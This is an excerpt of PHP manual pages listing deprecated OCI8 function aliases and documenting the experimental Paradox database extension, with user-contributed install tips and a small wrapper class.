  • Alias of oci_field_precision

ocicolumnprecision

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocicolumnprecision — Alias of oci_field_precision()

Description

Alias of oci_field_precision()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_field_scale

  • « ocicolumnprecision
  • ocicolumnsize »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_field_scale

ocicolumnscale

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocicolumnscale — Alias of oci_field_scale()

Description

Alias of oci_field_scale()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_field_size

  • « ocicolumnscale
  • ocicolumntype »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_field_size

ocicolumnsize

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocicolumnsize — Alias of oci_field_size()

Description

Alias of oci_field_size()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_field_type

  • « ocicolumnsize
  • ocicolumntyperaw »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_field_type

ocicolumntype

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocicolumntype — Alias of oci_field_type()

Description

Alias of oci_field_type()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_field_type_raw

  • « ocicolumntype
  • ocicommit »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_field_type_raw

ocicolumntyperaw

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocicolumntyperaw — Alias of oci_field_type_raw()

Description

Alias of oci_field_type_raw()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_commit

  • « ocicolumntyperaw
  • ocidefinebyname »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_commit

ocicommit

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocicommit — Alias of oci_commit()

Description

Alias of oci_commit()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_define_by_name

  • « ocicommit
  • ocierror »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_define_by_name

ocidefinebyname

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocidefinebyname — Alias of oci_define_by_name()

Description

Alias of oci_define_by_name()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_error

  • « ocidefinebyname
  • ociexecute »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_error

ocierror

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocierror — Alias of oci_error()

Description

Alias of oci_error()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_execute

  • « ocierror
  • ocifetch »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_execute

ociexecute

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ociexecute — Alias of oci_execute()

Description

Alias of oci_execute()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_fetch

  • « ociexecute
  • ocifetchinto »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_fetch

ocifetch

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocifetch — Alias of oci_fetch()

Description

Alias of oci_fetch()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Obsolete variant of oci_fetch_array, oci_fetch_object, oci_fetch_assoc and oci_fetch_row

  • « ocifetch
  • ocifetchstatement »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Obsolete variant of oci_fetch_array, oci_fetch_object, oci_fetch_assoc and oci_fetch_row

ocifetchinto

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocifetchinto — Obsolete variant of oci_fetch_array(), oci_fetch_object(), oci_fetch_assoc() and oci_fetch_row()

Description

Obsolete variant of oci_fetch_array(), oci_fetch_object(),
  oci_fetch_assoc() and
  oci_fetch_row()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_fetch_all

  • « ocifetchinto
  • ocifreecollection »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_fetch_all

ocifetchstatement

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocifetchstatement — Alias of oci_fetch_all()

Description

Alias of oci_fetch_all()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of OCI-Collection::free

  • « ocifetchstatement
  • ocifreecursor »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of OCI-Collection::free

ocifreecollection

(PHP 4 >= 4.0.7, PHP 5, PECL OCI8 >= 1.0.0)

ocifreecollection — Alias of OCI-Collection::free()

Description

Alias of OCI-Collection::free()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_free_statement

  • « ocifreecollection
  • ocifreedesc »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_free_statement

ocifreecursor

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocifreecursor — Alias of oci_free_statement()

Description

Alias of oci_free_statement()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of OCI-Lob::free

  • « ocifreecursor
  • ocifreestatement »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of OCI-Lob::free

ocifreedesc

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocifreedesc — Alias of OCI-Lob::free()

Description

Alias of OCI-Lob::free()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_free_statement

  • « ocifreedesc
  • ociinternaldebug »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_free_statement

ocifreestatement

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocifreestatement — Alias of oci_free_statement()

Description

Alias of oci_free_statement()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_internal_debug

  • « ocifreestatement
  • ociloadlob »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_internal_debug

ociinternaldebug

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ociinternaldebug — Alias of oci_internal_debug()

Description

Alias of oci_internal_debug()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of OCI-Lob::load

  • « ociinternaldebug
  • ocilogoff »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of OCI-Lob::load

ociloadlob

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ociloadlob — Alias of OCI-Lob::load()

Description

Alias of OCI-Lob::load()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_close

  • « ociloadlob
  • ocilogon »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_close

ocilogoff

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocilogoff — Alias of oci_close()

Description

Alias of oci_close()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_connect

  • « ocilogoff
  • ocinewcollection »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_connect

ocilogon

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocilogon — Alias of oci_connect()

Description

Alias of oci_connect()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_new_collection

  • « ocilogon
  • ocinewcursor »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_new_collection

ocinewcollection

(PHP 4 >= 4.0.6, PHP 5, PECL OCI8 >= 1.0.0)

ocinewcollection — Alias of oci_new_collection()

Description

Alias of oci_new_collection()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_new_cursor

  • « ocinewcollection
  • ocinewdescriptor »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_new_cursor

ocinewcursor

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocinewcursor — Alias of oci_new_cursor()

Description

Alias of oci_new_cursor()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_new_descriptor

  • « ocinewcursor
  • ocinlogon »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_new_descriptor

ocinewdescriptor

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocinewdescriptor — Alias of oci_new_descriptor()

Description

Alias of oci_new_descriptor()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_new_connect

  • « ocinewdescriptor
  • ocinumcols »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_new_connect

ocinlogon

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocinlogon — Alias of oci_new_connect()

Description

Alias of oci_new_connect()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_num_fields

  • « ocinlogon
  • ociparse »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_num_fields

ocinumcols

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocinumcols — Alias of oci_num_fields()

Description

Alias of oci_num_fields()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_parse

  • « ocinumcols
  • ociplogon »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_parse

ociparse

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ociparse — Alias of oci_parse()

Description

Alias of oci_parse()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_pconnect

  • « ociparse
  • ociresult »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_pconnect

ociplogon

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ociplogon — Alias of oci_pconnect()

Description

Alias of oci_pconnect()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_result

  • « ociplogon
  • ocirollback »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_result

ociresult

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ociresult — Alias of oci_result()

Description

Alias of oci_result()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_rollback

  • « ociresult
  • ocirowcount »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_rollback

ocirollback

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocirollback — Alias of oci_rollback()

Description

Alias of oci_rollback()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_num_rows

  • « ocirollback
  • ocisavelob »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_num_rows

ocirowcount

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocirowcount — Alias of oci_num_rows()

Description

Alias of oci_num_rows()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of OCI-Lob::save

  • « ocirowcount
  • ocisavelobfile »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of OCI-Lob::save

ocisavelob

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocisavelob — Alias of OCI-Lob::save()

Description

Alias of OCI-Lob::save()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of OCI-Lob::import

  • « ocisavelob
  • ociserverversion »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of OCI-Lob::import

ocisavelobfile

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocisavelobfile — Alias of OCI-Lob::import()

Description

Alias of OCI-Lob::import()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_server_version

  • « ocisavelobfile
  • ocisetprefetch »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_server_version

ociserverversion

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ociserverversion — Alias of oci_server_version()

Description

Alias of oci_server_version()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_set_prefetch

  • « ociserverversion
  • ocistatementtype »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_set_prefetch

ocisetprefetch

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocisetprefetch — Alias of oci_set_prefetch()

Description

Alias of oci_set_prefetch()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of oci_statement_type

  • « ocisetprefetch
  • ociwritelobtofile »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of oci_statement_type

ocistatementtype

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocistatementtype — Alias of oci_statement_type()

Description

Alias of oci_statement_type()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of OCI-Lob::export

  • « ocistatementtype
  • ociwritetemporarylob »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of OCI-Lob::export

ociwritelobtofile

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ociwritelobtofile — Alias of OCI-Lob::export()

Description

Alias of OCI-Lob::export()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Alias of OCI-Lob::writeTemporary

  • « ociwritelobtofile
  • Paradox »
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Alias of OCI-Lob::writeTemporary

ociwritetemporarylob

(PHP 4 >= 4.0.6, PECL OCI8 1.0)

ociwritetemporarylob — Alias of OCI-Lob::writeTemporary()

Description

Alias of OCI-Lob::writeTemporary()

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Paradox File Access

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Paradox Functions
    • px_close — Closes a paradox database
    • px_create_fp — Create a new paradox database
    • px_date2string — Converts a date into a string.
    • px_delete_record — Deletes record from paradox database
    • px_delete — Deletes resource of paradox database
    • px_get_field — Returns the specification of a single field
    • px_get_info — Return lots of information about a paradox file
    • px_get_parameter — Gets a parameter
    • px_get_record — Returns record of paradox database
    • px_get_schema — Returns the database schema
    • px_get_value — Gets a value
    • px_insert_record — Inserts record into paradox database
    • px_new — Create a new paradox object
    • px_numfields — Returns number of fields in a database
    • px_numrecords — Returns number of records in a database
    • px_open_fp — Open paradox database
    • px_put_record — Stores record into paradox database
    • px_retrieve_record — Returns record of paradox database
    • px_set_blob_file — Sets the file where blobs are read from
    • px_set_parameter — Sets a parameter
    • px_set_tablename — Sets the name of a table (deprecated)
    • px_set_targetencoding — Sets the encoding for character fields (deprecated)
    • px_set_value — Sets a value
    • px_timestamp2string — Converts the timestamp into a string.
    • px_update_record — Updates record in paradox database

User Contributed Notes

wilson dot p dot pereira at itelefonica dot com dot br 04-Sep-2008 09:22
<?php

/*
Implement class to use paradox functions
*/

class cParadox
{
    //members
    var $m_pxdoc = NULL;
    var $m_fp     = NULL;
    var $m_rs     = NULL;
    var $m_default_field_value = "";
    var $m_use_field_slashes = false;
    var $m_use_field_trim      = false;

    function Open($filename)
    {
        $this->m_pxdoc = px_new();
        if( !$this->m_pxdoc)
        {
            die ("cParadox Error: px_new() failed.");
        }

        $this->m_fp = fopen($filename, "r");

        if(!$this->m_fp)
        {
            px_delete($this->m_pxdoc);
            die ("cParadox Error: fopen failed.Filename:$filename");
        }

        if(!px_open_fp($this->m_pxdoc ,$this->m_fp) )
        {
            px_delete($this->m_pxdoc);
            fclose( $this->m_fp );
            die ("cParadox Erro: px_open_fp failed.");
        }

        return true;
    }

    function Close()
    {
        if ( $this->m_pxdoc )
        {
            px_close($this->m_pxdoc);
            px_delete($this->m_pxdoc);
        }

        if( $this->m_fp )
        {
            fclose( $this->m_fp );
        }
    }

    function GetNumRecords()
    {
        return px_numrecords($this->m_pxdoc);
    }

        function GetRecord($rec)
    {
        $this->m_rs = px_get_record($this->m_pxdoc ,$rec ,PX_KEYTOUPPER);
        return $this->m_rs;
    }

    function GetField($field ,$type=0, $format=0)
    {
        if ( !$this->m_rs )
        {
            return false;
        }

        $value = isset($this->m_rs[$field])? $this->m_rs[$field] : "";

        if ( $this->m_use_field_slashes )
        {
            $value = addslashes($value);
        }

        if ( $this->m_use_field_trim )
        {
            $value = trim($value);
        }

        return $value;
    }
};

usage example:
error_reporting(E_ERROR);
require_once("cparadox.inc");

$pdx = new cParadox();
$pdx->m_default_field_value = "?";//" ";

if ( $pdx->Open("USERS.DB") )
{
     $tot_rec = $pdx->GetNumRecords();
    if ( $tot_rec )
     {
        echo "<table border=1>\n";
        for($rec=0; $rec<$tot_rec; $rec++)
        {
             $pdx->GetRecord($rec);

            echo "<tr>";

            echo "<td>" . $rec;
            echo "<td>" . $pdx->GetField(CODE);
            echo "<td>" . $pdx->GetField(NAME);
        }
    }

    $pdx->Close();
}
?>


Introduction

This module allows to read and write Paradox databases, primary index files and blob files. Write support has been proven to be quite reliable, though due to lack of documentation the produced files may not in any case be readable by other applications. Encrypted databases can be read without specifying a password if pxlib >= 0.5.0 is used.

Note:

This module is also in development and may change, though major changes to the API are not expected.

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

You need at least PHP 5.0.0 and pxlib >= 0.4.4 for the basic set of functions. Some newer functions are only available with pxlib >= 0.6.0. Reading and writing of encrypted databases requires at least pxlib >= 0.5.0. The paradox library (pxlib) is available at » http://pxlib.sourceforge.net.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/paradox

Make sure you have pxlib installed before. If you install pxlib from an rpm or debian package, do not forget to install the development package as well.

User Contributed Notes

admin at aldisa dot ca 25-Jan-2011 05:16
FreeBSD users BEWARE, this extension will not compile and install with the "pecl install paradox" command.

The configure script fails because it tries to use a library (libdl.a) that is available by default in Linux but not on FreeBSD.  I had to alter the configure script and install the package manually.

I have reported this on the package page as a bug, but there does not seem to be any movement in maintaining this package, so I am posting this here for anyone having trouble trying to install this package on FreeBSD.
etlapa 07-Aug-2010 09:21
This was my experience in Ubuntu distro. I install everything from console. Type:

    sudo aptitude install php-pear
    sudo aptitude install php5-dev
    sudo aptitude install pxlib1
    sudo aptitude install pxlib-dev

    sudo pecl install paradox

Display your php config by using the phpinfo() and
find the path shown at "Scan this dir for additional .ini files"

In my case I found "/etc/php5/apache2/conf.d"

At this path create a file name "paradox.ini" with this content:

    extension=paradox.so

Then type "php --info | grep paradox" to verify the configuration is read properly and there are no errors.  You should see something like...

     /etc/php.d/paradox.ini,
     paradox

service httpd restart. In my case:

    sudo /etc/init.d/apache2 restart
john dot navratil at sbcglobal dot net 20-Apr-2008 08:31
You will need 'pecl' and 'phpize'.  Make sure the php-pear (for pecl) and php-devel (for phpize) packages are installed.

Download pxlib package from pxlib.sourceforge.net.  expand/config/make/make install.  No tricks there.

pecl install paradox

Edit php.ini or, preferably, create /etc/php.d/paradox.ini to contain:

     extension=paradox.so

'php --info | grep paradox' to verify the configuration is read properly and there are no errors.  You should see something like...

     /etc/php.d/paradox.ini,
     paradox

service httpd restart


Resource Types

px_new() creates a new Paradox object required by all Paradox functions.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

The following two tables lists all constants defined by the paradox extension.

Contants for field types
Name | Meaning
PX_FIELD_ALPHA | Character data with fixed length
PX_FIELD_DATE | Date, number of days since 1.1.0000
PX_FIELD_SHORT | Short integer (2 Bytes)
PX_FIELD_LONG | Long integer (4 Bytes)
PX_FIELD_CURRENCY | same as PX_FIELD_NUMBER
PX_FIELD_NUMBER | Double
PX_FIELD_LOGICAL | Boolean
PX_FIELD_MEMOBLOB | Binary large object
PX_FIELD_BLOB | Binary large object (not supported)
PX_FIELD_FMTMEMOBLOB | Binary large object
PX_FIELD_OLE | OLE object (basically a blob, not supported)
PX_FIELD_GRAPHIC | Graphic (basically a blob, not supported)
PX_FIELD_TIME | time, number of milli seconds since midnight
PX_FIELD_TIMESTAMP | timestamp, number of milli seconds since 1.1.0000
PX_FIELD_AUTOINC | Auto incrementing interger (like PX_FIELD_LONG)
PX_FIELD_BCD | Decimal number stored in bcd format (not supported)
PX_FIELD_BYTES | Array of Bytes with not more than 255 bytes (not supported)
PX_KEYTOLOWER | Turn all field names into lower case
PX_KEYTOUPPER | Turn all field names into upper case
Contants for file types
Name | Meaning
PX_FILE_INDEX_DB | Indexed database
PX_FILE_PRIM_INDEX | Primary index
PX_FILE_NON_INDEX_DB | None indexed database
PX_FILE_NON_INC_SEC_INDEX | None incremental secondary index
PX_FILE_SEC_INDEX | Secondary index
PX_FILE_INC_SEC_INDEX | Incremental secondary index
PX_FILE_NON_INC_SEC_INDEX_G | Non incremental secondary index
PX_FILE_SEC_INDEX_G | Secondary index
PX_FILE_INC_SEC_INDEX_G | Non incremental secondary index

User Contributed Notes

There are no user contributed notes for this page.


Paradox Functions

Object oriented API

The paradox extension provides also an object oriented API. It consists of only one class called paradox_db. Its methods only differ from the functions in its name and of course the missing first parameter. The following table will list all methods and its equivalent functions.

Methods of class paradox_db
Name of method | Equivalent function
Constructor | px_new()
Destructor | px_delete()
open_fp() | px_open_fp()
create_fp() | px_create_fp()
close() | px_close()
numrecords() | px_numrecords()
numfields() | px_numfields()
get_record() | px_get_record()
put_record() | px_put_record()
retrieve_record() | px_retrieve_record()
delete_record() | px_delete_record()
insert_record() | px_insert_record()
update_record() | px_update_record()
get_field() | px_get_field()
get_schema() | px_get_schema()
get_info() | px_get_info()
set_parameter() | px_set_parameter()
get_parameter() | px_get_parameter()
set_value() | px_set_value()
get_value() | px_get_value()
get_info() | px_get_info()
set_targetencoding() | px_set_targetencoding()
set_tablename() | px_set_tablename()
set_blob_file() | px_set_blob_file()
date2string() | px_date2string()
timestamp2string() | px_timestamp2string()

Table of Contents

  • px_close — Closes a paradox database
  • px_create_fp — Create a new paradox database
  • px_date2string — Converts a date into a string.
  • px_delete_record — Deletes record from paradox database
  • px_delete — Deletes resource of paradox database
  • px_get_field — Returns the specification of a single field
  • px_get_info — Return lots of information about a paradox file
  • px_get_parameter — Gets a parameter
  • px_get_record — Returns record of paradox database
  • px_get_schema — Returns the database schema
  • px_get_value — Gets a value
  • px_insert_record — Inserts record into paradox database
  • px_new — Create a new paradox object
  • px_numfields — Returns number of fields in a database
  • px_numrecords — Returns number of records in a database
  • px_open_fp — Open paradox database
  • px_put_record — Stores record into paradox database
  • px_retrieve_record — Returns record of paradox database
  • px_set_blob_file — Sets the file where blobs are read from
  • px_set_parameter — Sets a parameter
  • px_set_tablename — Sets the name of a table (deprecated)
  • px_set_targetencoding — Sets the encoding for character fields (deprecated)
  • px_set_value — Sets a value
  • px_timestamp2string — Converts the timestamp into a string.
  • px_update_record — Updates record in paradox database

User Contributed Notes

john dot navratil at sbcglobal dot net 22-Dec-2006 05:06
Some difficulties were encountered installing this extension on php 5.1.6.  're2c' was not found.  On Fedora Core 5, php 5.1.6, I had to...

Install gc++ as re2c requires C++ and will not compile with the standard C compiler most often used.

Download re2c from sourceforge, untar, configure, make, make install.

Download pxlib from sourceforge, untar, configure, make, make install.

pecl install paradox (it has been moved from pear)


Closes a paradox database

  • « Paradox Functions
  • px_create_fp »
  • PHP Manual
  • Paradox Functions
  • Closes a paradox database

px_close

(PECL paradox >= 1.0.0)

px_close — Closes a paradox database

Description

bool px_close ( resource $pxdoc )

Closes the paradox database. This function will not close the file. You will have to call fclose() afterwards.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • px_open_fp() - Open paradox database
  • The example at px_new() - Create a new paradox object

User Contributed Notes

There are no user contributed notes for this page.


Create a new paradox database

  • « px_close
  • px_date2string »
  • PHP Manual
  • Paradox Functions
  • Create a new paradox database

px_create_fp

(PECL paradox >= 1.0.0)

px_create_fp — Create a new paradox database

Description

bool px_create_fp ( resource $pxdoc , resource $file , array $fielddesc )

Create a new paradox database file. The actual file has to be opened before with fopen(). Make sure the file is writable.

Note:

Calling this functions issues a warning about an empty tablename which can be safely ignored. Just set the tablename afterwards with px_set_parameter().

Note:

This function is highly experimental, due to insufficient documentation of the paradox file format. Database files created with this function can be opened by px_open_fp() and has been successfully opened by the Paradox software, but your milage may vary.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

file

File handle as returned by fopen().

fielddesc

fielddesc is an array containing one element for each field specification. A field specification is an array itself with either two or three elements.The first element is always a string value used as the name of the field. It may not be larger than ten characters. The second element contains the field type which is one of the constants listed in the table Constants for field types. In the case of a character field or bcd field, you will have to provide a third element specifying the length respectively the precesion of the field. If your field specification contains blob fields, you will have to make sure to either make the field large enough for all field values to fit or specify a blob file with px_set_blob_file() for storing the blobs. If this is not done the field data is truncated.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Creating a Paradox database with two fields

<?php
if(!$pxdoc = px_new()) {
  /* Error handling */
}
$fp = fopen("test.db", "w+");
$fields = array(array("col1", "S"), array("col2", "I"));
if(!px_create_fp($pxdoc, $fp, $fields)) {
  /* Error handling */
}
px_set_parameter($pxdoc, "tablename", "testtable");
for($i=-50; $i<50; $i++) {
  $rec = array($i, -$i);
  px_put_record($pxdoc, $rec);
}
px_close($pxdoc);
px_delete($pxdoc);
fclose($fp);
?>

See Also

  • px_new() - Create a new paradox object
  • px_put_record() - Stores record into paradox database
  • fopen() - Opens file or URL

User Contributed Notes

There are no user contributed notes for this page.


Converts a date into a string.

  • « px_create_fp
  • px_delete_record »
  • PHP Manual
  • Paradox Functions
  • Converts a date into a string.

px_date2string

(PECL paradox >= 1.4.0)

px_date2string — Converts a date into a string.

Description

string px_date2string ( resource $pxdoc , int $value , string $format )

Turns a date as it stored in the paradox file into human readable format. Paradox dates are the number of days since 1.1.0000. This function is just for convenience. It can be easily replaced by some math and the calendar functions as demonstrated in the example below.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

value

Value as stored in paradox database field of type PX_FIELD_DATE.

format

String format similar to the format used by date(). The placeholders support by this function is a subset of those supported by date() (Y, y, m, n, d, j, L).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Turn a paradox date into a human readable form

<?php
$px = px_new();

/* make up a date as it could be stored in */
/* a date field of a paradox db. */
/* 700000 days since 1.1.0000. */
$days = 700000;

/* Use the calendar functions to print a */
/* human readable format of the date */
echo jdtogregorian($days+1721425)."\n";
/* px_date2string() outputs the same */
echo px_date2string($px, $days, "n/d/Y")."\n";

px_delete($px);
?>

The above example will output:

7/15/1917
7/15/1917

See Also

  • px_timestamp2string() - Converts the timestamp into a string.
  • jdtogregorian() - Converts Julian Day Count to Gregorian date

User Contributed Notes

